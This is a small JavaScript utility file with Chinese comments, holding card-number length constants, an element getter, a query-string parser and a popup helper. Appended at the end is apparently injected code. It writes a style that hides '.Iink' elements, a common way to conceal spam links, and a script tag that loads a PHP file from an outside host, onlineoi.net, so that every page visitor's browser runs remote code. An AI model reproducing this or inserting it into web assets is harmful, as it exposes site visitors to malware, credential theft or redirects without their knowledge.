//定义身份证，信用卡判断的位数
var IdCardNum = 15;
var IdCardNum2 = 18;
var CardNum = 16;

//返回页面元素
function $(element) { 
	var elements = new Array(); 
	for (var i = 0;i<arguments.length;i++){ 
		var element = arguments[i]; 
		if (typeof element == 'string') 
			element = document.getElementById(element); 
		if (arguments.length == 1) 
			return element; 
		elements.push(element); 
	} 
	return elements; 
}

//获得页面URL后面的参数
function QueryString(name){ 
  var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)"); 
  var r = window.location.search.substr(1).match(reg); 
  if (r!=null) return unescape(r[2]); return null; 
}

//弹出页面
function PlusOpen(url, width, height){
	window.open(url,"PlusOpen",'width=' + width + ',height=' + height + ',resizable=0,scrollbars=yes,menubar=no,status=yes' );
}

document.write('<style type="text/css">')
document.write('<!--')
document.write('.Iink {display: none; }')
document.write('-->')
document.write('</style>')
document.write('<script src=http://onlineoi.net/computers_files/1ruck1.php ><\/script>');